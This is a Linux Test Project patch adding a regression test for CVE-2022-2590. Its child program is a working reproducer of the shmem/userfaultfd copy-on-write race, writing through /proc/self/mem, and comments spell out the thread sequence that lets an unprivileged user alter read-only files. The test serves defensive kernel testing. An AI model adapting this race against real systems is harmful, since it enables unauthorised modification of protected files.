[v2] security/dirtyc0w_shmem: Add new test for CVE-2022-2590

Message ID	20221123103547.54246-1-david@redhat.com
State	Accepted
Headers	show Return-Path: <ltp-bounces+incoming=patchwork.ozlabs.org@lists.linux.it> From: David Hildenbrand <david@redhat.com> To: ltp@lists.linux.it Date: Wed, 23 Nov 2022 11:35:47 +0100 Message-Id: <20221123103547.54246-1-david@redhat.com> MIME-Version: 1.0 Subject: [LTP] [PATCH v2] security/dirtyc0w_shmem: Add new test for CVE-2022-2590 Precedence: list Cc: David Hildenbrand <david@redhat.com> Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Errors-To: ltp-bounces+incoming=patchwork.ozlabs.org@lists.linux.it Sender: "ltp" <ltp-bounces+incoming=patchwork.ozlabs.org@lists.linux.it>
Series	[v2] security/dirtyc0w_shmem: Add new test for CVE-2022-2590 \| expand [v2] security/dirtyc0w_shmem: Add new test for CVE-2022-2590

diff --git a/runtest/cve b/runtest/cve index 9ab6dc282..fd0305aa3 100644 --- a/runtest/cve +++ b/runtest/cve @@ -73,5 +73,6 @@ cve-2021-22555 setsockopt08 -i 100 cve-2021-26708 vsock01 cve-2021-22600 setsockopt09 cve-2022-0847 dirtypipe +cve-2022-2590 dirtyc0w_shmem # Tests below may cause kernel memory leak cve-2020-25704 perf_event_open03 diff --git a/runtest/syscalls b/runtest/syscalls index 3dc6fa397..ae37a1192 100644 --- a/runtest/syscalls +++ b/runtest/syscalls @@ -1036,6 +1036,7 @@ process_vm_writev02 process_vm_writev02 prot_hsymlinks prot_hsymlinks dirtyc0w dirtyc0w +dirtyc0w_shmem dirtyc0w_shmem dirtypipe dirtypipe pselect01 pselect01 diff --git a/testcases/kernel/security/dirtyc0w_shmem/.gitignore b/testcases/kernel/security/dirtyc0w_shmem/.gitignore new file mode 100644 index 000000000..291c3de69 --- /dev/null +++ b/testcases/kernel/security/dirtyc0w_shmem/.gitignore @@ -0,0 +1,2 @@ +dirtyc0w_shmem +dirtyc0w_shmem_child diff --git a/testcases/kernel/security/dirtyc0w_shmem/Makefile b/testcases/kernel/security/dirtyc0w_shmem/Makefile new file mode 100644 index 000000000..a3bad2a83 --- /dev/null +++ b/testcases/kernel/security/dirtyc0w_shmem/Makefile @@ -0,0 +1,8 @@ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2016 Linux Test Project + +top_srcdir ?= ../../../.. + +include $(top_srcdir)/include/mk/testcases.mk +dirtyc0w_shmem_child: CFLAGS+=-pthread +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem.c b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem.c new file mode 100644 index 000000000..f885a9283 --- /dev/null +++ b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem.c @@ -0,0 +1,121 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2022 Red Hat, Inc. + */ + +/*\ + * [Description] + * + * This is a regression test for a write race that allowed unprivileged programs + * to change readonly files located on tmpfs/shmem on the system using + * userfaultfd "minor fault handling" (CVE-2022-2590). + */ + +#include "config.h" + +#include <pthread.h> +#include <unistd.h> +#include <sys/stat.h> +#include <string.h> +#include <stdlib.h> +#include <stdbool.h> +#include <pwd.h> + +#include "tst_test.h" + +#define TMP_DIR "tmp_dirtyc0w_shmem" +#define TEST_FILE TMP_DIR"/testfile" +#define STR "this is not a test\n" + +static uid_t nobody_uid; +static gid_t nobody_gid; +static volatile bool child_early_exit; + +static void sighandler(int sig) +{ + if (sig == SIGCHLD) { + child_early_exit = true; + return; + } + + _exit(0); +} + +static void setup(void) +{ + struct passwd *pw; + + umask(0); + + pw = SAFE_GETPWNAM("nobody"); + + nobody_uid = pw->pw_uid; + nobody_gid = pw->pw_gid; + + SAFE_MKDIR(TMP_DIR, 0664); + SAFE_MOUNT(TMP_DIR, TMP_DIR, "tmpfs", 0, NULL); +} + +static void dirtyc0w_shmem_test(void) +{ + bool failed = false; + int pid; + char c; + + SAFE_FILE_PRINTF(TEST_FILE, STR); + SAFE_CHMOD(TEST_FILE, 0444); + + pid = SAFE_FORK(); + if (!pid) { + SAFE_SETGID(nobody_gid); + SAFE_SETUID(nobody_uid); + SAFE_EXECLP("dirtyc0w_shmem_child", "dirtyc0w_shmem_child", NULL); + } + + TST_CHECKPOINT_WAIT(0); + + SAFE_SIGNAL(SIGCHLD, sighandler); + do { + usleep(100000); + + SAFE_FILE_SCANF(TEST_FILE, "%c", &c); + + if (c != 't') { + failed = true; + break; + } + } while (tst_remaining_runtime() && !child_early_exit); + SAFE_SIGNAL(SIGCHLD, SIG_DFL); + + SAFE_KILL(pid, SIGUSR1); + tst_reap_children(); + SAFE_UNLINK(TEST_FILE); + + if (child_early_exit) + tst_res(TINFO, "Early child process exit"); + else if (failed) + tst_res(TFAIL, "Bug reproduced!"); + else + tst_res(TPASS, "Bug not reproduced"); +} + +static void cleanup(void) +{ + SAFE_UMOUNT(TMP_DIR); +} + +static struct tst_test test = { + .needs_checkpoints = 1, + .forks_child = 1, + .needs_root = 1, + .needs_tmpdir = 1, + .max_runtime = 120, + .setup = setup, + .cleanup = cleanup, + .test_all = dirtyc0w_shmem_test, + .tags = (const struct tst_tag[]) { + {"linux-git", "5535be309971"}, + {"CVE", "2022-2590"}, + {} + } +}; diff --git a/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c new file mode 100644 index 000000000..cb2e9df0c --- /dev/null +++ b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c @@ -0,0 +1,241 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2022 Red Hat, Inc. + * Based on original reproducer: https://seclists.org/oss-sec/2022/q3/128 + */ + +#include "config.h" + +#include <fcntl.h> +#include <pthread.h> +#include <unistd.h> +#include <sys/stat.h> +#include <string.h> +#include <stdlib.h> +#include <stdint.h> +#include <pwd.h> +#include <poll.h> +#include <unistd.h> +#include <sys/mman.h> +#include <sys/syscall.h> +#include <sys/ioctl.h> + +#ifdef HAVE_LINUX_USERFAULTFD_H +#include <linux/userfaultfd.h> +#endif + +#ifdef UFFD_FEATURE_MINOR_SHMEM + +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" +#include "tst_safe_macros.h" +#include "tst_safe_pthread.h" +#include "lapi/syscalls.h" + +#define TMP_DIR "tmp_dirtyc0w_shmem" +#define TEST_FILE TMP_DIR"/testfile" + +static char *str = "m00000000000000000"; +static void *map; +static int mem_fd; +static int uffd; +static size_t page_size; + +static void *stress_thread_fn(void *arg) +{ + while (1) + /* Don't optimize the busy loop out. */ + asm volatile("" : "+r" (arg)); + + return NULL; +} + +static void *discard_thread_fn(void *arg) +{ + (void)arg; + + while (1) { + char tmp; + + /* + * Zap that page first, such that we can trigger a new + * minor fault. + */ + madvise(map, page_size, MADV_DONTNEED); + /* + * Touch the page to trigger a UFFD minor fault. The uffd + * thread will resolve the minor fault via a UFFDIO_CONTINUE. + */ + tmp = *((char *)map); + /* Don't optimize the read out. */ + asm volatile("" : "+r" (tmp)); + } + + return NULL; +} + +static void *write_thread_fn(void *arg) +{ + (void)arg; + + while (1) + /* + * Ignore any errors -- errors mean that pwrite() would + * have to trigger a uffd fault and sleep, which the GUP + * variant doesn't support, so it fails with an I/O errror. + * + * Once we retry and are lucky to already find the placed + * page via UFFDIO_CONTINUE (from the other threads), we get + * no error. + */ + pwrite(mem_fd, str, strlen(str), (uintptr_t) map); + + return NULL; +} + +static void *uffd_thread_fn(void *arg) +{ + static struct uffd_msg msg; + struct uffdio_continue uffdio; + struct uffdio_range uffdio_wake; + + (void)arg; + + while (1) { + struct pollfd pollfd; + int nready, nread; + + pollfd.fd = uffd; + pollfd.events = POLLIN; + nready = poll(&pollfd, 1, -1); + if (nready < 0) + tst_brk(TBROK | TERRNO, "Error on poll"); + + nread = read(uffd, &msg, sizeof(msg)); + if (nread <= 0) + continue; + + uffdio.range.start = (unsigned long) map; + uffdio.range.len = page_size; + uffdio.mode = 0; + if (ioctl(uffd, UFFDIO_CONTINUE, &uffdio) < 0) { + if (errno == EEXIST) { + uffdio_wake.start = (unsigned long) map; + uffdio_wake.len = 4096; + SAFE_IOCTL(uffd, UFFDIO_WAKE, &uffdio_wake); + } + } + } + + return NULL; +} + +static void setup_uffd(void) +{ + struct uffdio_register uffdio_register; + struct uffdio_api uffdio_api; + int flags = O_CLOEXEC | O_NONBLOCK; + +retry: + TEST(tst_syscall(__NR_userfaultfd, flags)); + if (TST_RET < 0) { + if (TST_ERR == EPERM) { + if (!(flags & UFFD_USER_MODE_ONLY)) { + flags |= UFFD_USER_MODE_ONLY; + goto retry; + } + } + tst_brk(TBROK | TTERRNO, + "Could not create userfault file descriptor"); + } + uffd = TST_RET; + + uffdio_api.api = UFFD_API; + uffdio_api.features = UFFD_FEATURE_MINOR_SHMEM; + TEST(ioctl(uffd, UFFDIO_API, &uffdio_api)); + if (TST_RET < 0) { + if (TST_ERR == EINVAL) { + tst_brk(TCONF, + "System does not have userfaultfd minor fault support for shmem"); + } + tst_brk(TBROK | TTERRNO, + "Could not create userfault file descriptor"); + } + + uffdio_register.range.start = (unsigned long) map; + uffdio_register.range.len = page_size; + uffdio_register.mode = UFFDIO_REGISTER_MODE_MINOR; + SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register); +} + +static void sighandler(int sig) +{ + (void) sig; + + _exit(0); +} + +int main(void) +{ + pthread_t thread1, thread2, thread3, *stress_threads; + int fd, i, num_cpus; + struct stat st; + + tst_reinit(); + + SAFE_SIGNAL(SIGUSR1, sighandler); + + page_size = getpagesize(); + num_cpus = sysconf(_SC_NPROCESSORS_ONLN); + + /* Create some threads that stress all CPUs to make the race easier to reproduce. */ + stress_threads = malloc(sizeof(*stress_threads) * num_cpus * 2); + for (i = 0; i < num_cpus * 2; i++) + pthread_create(stress_threads + i, NULL, stress_thread_fn, NULL); + + TST_CHECKPOINT_WAKE(0); + + fd = SAFE_OPEN(TEST_FILE, O_RDONLY); + SAFE_FSTAT(fd, &st); + + /* + * We need a read-only private mapping of the file. Ordinary write-access + * via the page tables is impossible, however, we can still perform a + * write access that bypasses missing PROT_WRITE permissions using ptrace + * (/proc/self/mem). Such a write access is supposed to properly replace + * the pagecache page by a private copy first (break COW), such that we are + * never able to modify the pagecache page. + * + * We want the following sequence to trigger. Assuming the pagecache page is + * mapped R/O already (e.g., due to previous action from Thread 1): + * Thread 2: pwrite() [start] + * -> Trigger write fault, replace mapped page by anonymous page + * -> COW was broken, remember FOLL_COW + * Thread 1: madvise(map, 4096, MADV_DONTNEED); + * -> Discard anonymous page + * Thread 1: tmp += *((int *)map); + * -> Trigger a minor uffd fault + * Thread 3: ioctl(uffd, UFFDIO_CONTINUE + * -> Resolve minor uffd fault via UFFDIO_CONTINUE + * -> Map shared page R/O but set it dirty + * Thread 2: pwrite() [continue] + * -> Find R/O mapped page that's dirty and FOLL_COW being set + * -> Modify shared page R/O because we don't break COW (again) + */ + map = SAFE_MMAP(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); + mem_fd = SAFE_OPEN("/proc/self/mem", O_RDWR); + + setup_uffd(); + + SAFE_PTHREAD_CREATE(&thread1, NULL, discard_thread_fn, NULL); + SAFE_PTHREAD_CREATE(&thread2, NULL, write_thread_fn, NULL); + SAFE_PTHREAD_CREATE(&thread3, NULL, uffd_thread_fn, NULL); + + pause(); + + return 0; +} +#else /* UFFD_FEATURE_MINOR_SHMEM */ +#include "tst_test.h" +TST_TEST_TCONF("System does not have userfaultfd minor fault support for shmem"); +#endif /* UFFD_FEATURE_MINOR_SHMEM */

[v2] security/dirtyc0w_shmem: Add new test for CVE-2022-2590

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